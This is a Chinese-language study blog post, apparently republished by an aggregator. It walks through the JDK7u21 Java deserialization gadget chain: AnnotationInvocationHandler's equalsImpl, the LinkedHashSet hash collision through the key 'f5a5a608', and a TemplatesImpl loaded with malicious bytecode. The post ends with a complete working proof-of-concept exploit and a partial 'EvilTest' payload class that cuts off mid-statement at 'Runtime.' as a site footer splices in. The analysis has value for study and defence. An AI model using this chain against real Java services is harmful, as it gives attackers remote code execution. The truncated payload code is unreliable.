[Java反序列化]JDK7u21反序列化链学习
Posted bfengj
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]JDK7u21反序列化链学习相关的知识,希望对你有一定的参考价值。
前言
开始学习JDK7u21的原生链,和CC链的逻辑比起来难了不少呜呜。
版本
JDK7u21及其之前都可以。当然这个之前是广义的,因为比如JDK7在更新,不代表JDK6就没有在更新。所以相对来说的可以认为是,JDK7u21这个版本以及之前时间发布的所有Java版本都有问题,之后的JDK6可能在某一段时间仍有问题,具体也不考究了。
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
</dependencies>
下面用到javassist
就是为了方便生成恶意类的字节码,而且版本要低一些,高版本不兼容jdk7,只能用jdk8及其更高版本。
分析
简单的理清一下这个链子的思路。
7u21这条链核心就在于AnnotationInvocationHandler
这个类。联想到CC1的时候第一次接触它,这个类有两种利用思路,一种是利用它的readObject()
,另一种就是利用它的invoke
,因为AnnotationInvocationHandler
是一个实现了InvocationHandler
接口的类,可以应用于动态代理中。
在invoke
方法中,如果传入的方法名是equals
而且方法的参数列表只有一个Object
对象的时候,就可以进入equalsImpl()
方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
再跟进这个equalsImpl()
方法:
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
前两个if不用管,直接看else。通过getMemberMethods
得到一个Method[]
:
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
然后进入for循环,遍历这个Method[]
,然后调用方法:
if (var9 != null) {
var8 = var9.memberValues.get(var6);
这里的Method[]
只能是通过this.type
来得到:
AnnotationInvocationHandler.this.type.getDeclaredMethods();
因为memberMethods
属性是个瞬态属性不可控。
private transient volatile Method[] memberMethods = null;
因此总的来说可以利用的就是,得到this.type
的所有Method[]
,然后依次调用所有。如果让this.type
是TemplatesImpl
的类的话,就自然会调用到newTransformer
或者getOutputProperties
。
而invoke
的那个参数var1也就是调用方法的对象了,所以var1需要是我们构造的恶意的TemplatesImpl
对象。
至此后面的部分就稍微有点理清了,但是关键是,哪里有合适的equals
可以触发。
所以就要说到发明这个链子的师傅确实很强,联想到set
这个数据结构:
Set
实际上相当于只存储key、不存储value的Map
。我们经常用Set
用于去除重复元素。
因为对象不重复,因此就会涉及到比较。equals
是用来比较两个对象的内容是否相同。
最常用的
Set
实现类是HashSet
,实际上,HashSet
仅仅是对HashMap
的一个简单封装。
看一下HashSet
的readObject()
方法:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
map
也是瞬态属性。这里得到的很明显是HashMap
,然后依次从s.readObject()
里面读取key,然后调用map.put
方法放进去,因为也说了,HashSet
的底层实现还是HashMap
。
跟进put
方法:
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
可以发现对放入的key
计算hash
值,如果当前的map中有hash
值相同的key
,就会key.equals(k)
,如果让k
是代理对象,k
是我们的恶意TemplatesImpl
的话,就可以和上面的分析接上了,成功命令执行。
我个人觉得7u21这个链子最精华的地方,一个就是找equals
,另一个就是这个hash
值的构造。
这两行代码可以简化成下面:
int hash = hash(key);
int i = indexFor(hash, table.length);
int h = 0;
h ^= k.hashCode();
h ^= (h >>> 20) ^ (h >>> 12);
h ^ (h >>> 7) ^ (h >>> 4);
h & 15;
之所以最后的return h & (length-1);
是h&15
,是因为HashMap
的默认length
是16:
static final int DEFAULT_INITIAL_CAPACITY = 16;
从整个流程来看,想控制hash的话,就是要让代理对象的hashCode()
和TemplatesImpl
对象的hashCode()
相同。但是TemplatesImpl
的hashCode()
是个Native()
方法,每次运行都会改变,所以不可控。
再想想代理对象的hashCode()
。很明显也得经过invoke
,进入hashCodeImpl
:
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
简单来说就是遍历this.memberValues
这个Map
,把每次计算出来的127*(key的hash)^(value的hash)
就很膜作者的思路,他想到让memberValues
这个Map只有一个键值对,让key
的hash为0,这样127*0=0,然后0^xxx仍然是xxx(相同为0,不同为1)。再让value是恶意的TemplatesImpl
对象,这样计算的就是那个TemplatesImpl
对象的hash值,自然就相同了。tttttql。
至于hash
为0的键,找到的是f5a5a608
。
构造
稍微理清了整个链子的思路,就去构造即可。
首先是雷打不动的TemplatesImpl
对象的设置:
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
然后去产生AnnotationInvocationHandler
对象,注意它的构造器:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
type
是Templates.class
,memberValues
就是要设置的那个巧妙的Map
了:
HashMap<String, Object> memberValues = new HashMap<String, Object>();
memberValues.put("f5a5a608","feng");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);
但是先暂时不把TemplatesImpl
放进memberValues
,接下来会说为什么。
然后就是动态代理的生成:
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
然后就是生成反序列化链的起点,那个HashSet
对象了:
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
memberValues.put("f5a5a608",templates);
这里再覆盖掉f5a5a608
的value,就是为了防止这里的2次add
直接触发了漏洞。
然后序列化和反序列化即可。总的POC:
package com.feng.jdk7u21;
import com.feng.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class Jdk7u21 {
public static void main(String[] args) throws Exception{
byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates,"_name","feng");
HashMap<String, Object> memberValues = new HashMap<String, Object>();
memberValues.put("f5a5a608","feng");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);
Templates proxy = (Templates) Proxy.newProxyInstance(
Templates.class.getClassLoader(),
new Class[]{Templates.class},
handler
);
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
memberValues.put("f5a5a608",templates);
byte[] bytes = SerializeUtil.serialize(hashSet);
SerializeUtil.unserialize(bytes);
}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTest extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public EvilTest() throws Exception{
Runtime.以上是关于[Java反序列化]JDK7u21反序列化链学习的主要内容,如果未能解决你的问题,请参考以下文章